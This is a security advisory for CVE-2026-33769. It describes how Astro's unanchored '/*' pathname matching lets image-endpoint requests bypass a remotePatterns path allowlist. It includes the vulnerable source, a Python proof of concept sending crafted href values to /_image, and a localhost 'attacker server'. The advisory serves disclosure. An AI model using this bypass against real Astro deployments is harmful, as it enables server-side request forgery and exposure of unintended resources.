CVE-2026-33769

Description

## Summary This issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass. ## Impact Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix. ## Description Taint flow: request -> `transform.src` -> `isRemoteAllowed()` -> `matchPattern()` -> `matchPathname()` User-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56 ```ts const url = new URL(request.url); const transform = await imageService.parseURL(url, imageConfig); const isRemoteImage = isRemotePath(transform.src); if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) { return new Response('Forbidden', { status: 403 }); } ``` `isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21 ```ts export function matchPattern(url: URL, remotePattern: RemotePattern): boolean { return ( matchProtocol(url, remotePattern.protocol) && matchHostname(url, remotePattern.hostname, true) && matchPort(url, remotePattern.port) && matchPathname(url, remotePattern.pathname, true) ); } ``` The vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99 ```ts } else if (pathname.endsWith('/*')) { const slicedPathname = pathname.slice(0, -1); // * length const additionalPathChunks = url.pathname .replace(slicedPathname, '') .split('/') .filter(Boolean); return additionalPathChunks.length === 1; } ``` **Vulnerable code flow:** 1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL. 2. `matchPathname()` handles `pathname: "/img/*"` using `.replace()` on the URL path. 3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start. 4. The image endpoint fetches and returns the remote resource. ## PoC The PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed. ### Vulnerable config ```js import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' }, { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' }, ], }, }); ``` ### Affected pages This PoC targets the `/_image` endpoint directly; no additional pages are required. ### PoC Code ```python import http.client import json import urllib.parse HOST = "127.0.0.1" PORT = 4321 def fetch(path: str) -> dict: conn = http.client.HTTPConnection(HOST, PORT, timeout=10) conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"}) resp = conn.getresponse() body = resp.read(2000).decode("utf-8", errors="replace") conn.close() return { "path": path, "status": resp.status, "reason": resp.reason, "headers": dict(resp.getheaders()), "body_snippet": body[:400], } allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="") bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="") # Both pass, second should fail results = { "allowed": fetch(f"/_image?href={allowed}&f=svg"), "bypass": fetch(f"/_image?href={bypass}&f=svg"), } print(json.dumps(results, indent=2)) ``` ### Attacker server ```python from http.server import BaseHTTPRequestHandler, HTTPServer HOST = "127.0.0.1" PORT = 9999 PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text> </svg> """ class Handler(BaseHTTPRequestHandler): def do_GET(self): print(f">>> {self.command} {self.path}") if self.path.endswith(".svg") or "/img/" in self.path: self.send_response(200) self.send_header("Content-Type", "image/svg+xml") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(PAYLOAD.encode("utf-8")) return self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"ok") def log_message(self, format, *args): return if __name__ == "__main__": server = HTTPServer((HOST, PORT), Handler) print(f"HTTP logger listening on http://{HOST}:{PORT}") server.serve_forever() ``` ### PoC Steps 1. Bootstrap default Astro project. 2. Add the vulnerable config and attacker server. 3. Build the project. 4. Start the attacker server. 5. Start the Astro server. 6. Run the PoC. 7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.